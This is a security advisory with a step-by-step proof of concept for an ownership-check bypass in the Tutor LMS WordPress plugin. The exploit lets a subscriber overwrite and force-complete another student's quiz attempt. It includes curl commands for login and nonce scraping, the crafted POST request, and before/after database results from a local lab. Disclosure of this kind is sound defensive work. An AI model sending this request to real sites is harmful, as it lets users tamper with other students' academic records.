Tutor LMS < 3.9.13 – Subscriber+ Arbitrary Quiz Attempt Modification via IDOR | CVE 2026-12271

Description

The plugin does not verify ownership of the targeted quiz attempt before writing to it, allowing authenticated users with subscriber-level access and above to modify and force-complete other students' quiz attempts, overwriting their recorded marks and pass/fail result.

Proof of Concept

**Test environment (clean lab):** WordPress with Tutor LMS 3.9.11, PHP 8.3, MariaDB, `DISALLOW_UNFILTERED_HTML=true`, lab at `http://localhost:8773`. Two subscriber-level enrolled student accounts:

- Attacker: `sub1` (user_id=5, subscriber, enrolled) - owns `attempt_id=1`.
- Victim: `student2` (user_id=6, subscriber) - owns `attempt_id=2` (quiz_id=10, in-progress).

**Prerequisites:**
- A Student/Subscriber account that owns at least one quiz attempt (any enrolled student has one).
- The victim's `attempt_id` (sequential integers, enumerable).

**Step 1 - Log in as the attacker (`sub1`) and obtain the Tutor nonce.**

The `_tutor_nonce` is published in the page JavaScript object `_tutorobject` on the public course page. Authenticate and scrape it from the course permalink:

```bash
curl -s -i -c sub1cookies.txt "http://localhost:8773/wp-login.php" -o /dev/null
curl -s -c sub1cookies.txt -b sub1cookies.txt \
  --data-urlencode "log=sub1" --data-urlencode "pwd=<password>" \
  --data-urlencode "wp-submit=Log In" --data-urlencode "testcookie=1" \
  --data-urlencode "redirect_to=http://localhost:8773/wp-admin/" \
  "http://localhost:8773/wp-login.php" -o /dev/null

# Scrape the single global tutor nonce from the public course page:
curl -s -b sub1cookies.txt "http://localhost:8773/courses/demo-course/" \
  | grep -oE '"_tutor_nonce":"[a-f0-9]+"' | head -1
# => "_tutor_nonce":"3f9206dc13"
```

**Step 2 - Submit answers against the victim's attempt (attempt 2) while passing the ownership check with the attacker's own attempt (attempt 1).**

The scalar `attempt_id=1` belongs to the attacker, so the ownership check at `Quiz.php:488` passes (`$user_id 5 == $attempt->user_id 5`). The inner `attempt[]` array is keyed by `2`, the victim's attempt, so the `foreach` at `Quiz.php:516` clobbers `$attempt_id` to `2` and every subsequent write targets the victim.

Raw HTTP request (as `sub1`):

```
POST /courses/demo-course/ HTTP/1.1
Host: localhost:8773
Cookie: wordpress_logged_in_69de9c1dd7cd934fd6c77dc3a229a8f3=sub1|...   (sub1 session)
Content-Type: application/x-www-form-urlencoded

tutor_action=tutor_answering_quiz_question&_tutor_nonce=3f9206dc13&attempt_id=1&attempt%5B2%5D%5Bquiz_question_ids%5D%5B%5D=1&attempt%5B2%5D%5Bquiz_question%5D%5B1%5D=1
```

Annotated form fields:

```
tutor_action=tutor_answering_quiz_question
&_tutor_nonce=3f9206dc13
&attempt_id=1                       <-- SCALAR ownership param: sub1's OWN attempt (passes check at Quiz.php:488)
&attempt[2][quiz_question_ids][]=1  <-- ARRAY KEY = 2 = VICTIM attempt_id (clobbers $attempt_id in foreach at Quiz.php:516)
&attempt[2][quiz_question][1]=1     <-- answer to question 1 = answer_id 1 (correct), scored against VICTIM's row
```

curl used:

```bash
curl -s -i -b sub1cookies.txt "http://localhost:8773/courses/demo-course/" \
  --data-urlencode "tutor_action=tutor_answering_quiz_question" \
  --data-urlencode "_tutor_nonce=3f9206dc13" \
  --data-urlencode "attempt_id=1" \
  --data-urlencode "attempt[2][quiz_question_ids][]=1" \
  --data-urlencode "attempt[2][quiz_question][1]=1"
```

Response:

```
HTTP/1.1 302 Found
Location: http://localhost:8773/courses/demo-course/
```

(`wp_safe_redirect( get_the_permalink() )` at `Quiz.php:432` - `answering_quiz()` ran to completion.)

**Step 3 - Verify.**

```sql
SELECT attempt_id, quiz_id, user_id, total_answered_questions, total_marks, earned_marks, attempt_status, attempt_ended_at
  FROM wp_tutor_quiz_attempts WHERE attempt_id IN (1,2);
```

**Result (DAST-confirmed, end-to-end against Tutor LMS 3.9.11 on PHP 8.3):**

Victim attempt 2 (user_id 6) before vs after the attacker's single request:

| Field | Before | After |
|-------|--------|-------|
| total_answered_questions | 0 | 1 |
| earned_marks | 0.00 | 10.00 |
| attempt_status | attempt_started | attempt_ended |
| attempt_ended_at | NULL | 2026-06-02 03:08:58 |

Control: the attacker's own attempt 1 (user_id 5) was UNCHANGED after the request (still `attempt_started`, `earned_marks=0.00`, `attempt_ended_at=NULL`). This proves the write was driven solely by the attacker-controlled `attempt[]` array key (`2`), not by the validated scalar `attempt_id` (`1`). A Subscriber-level enrolled student force-completed and re-scored another student's in-progress quiz attempt without that student's interaction.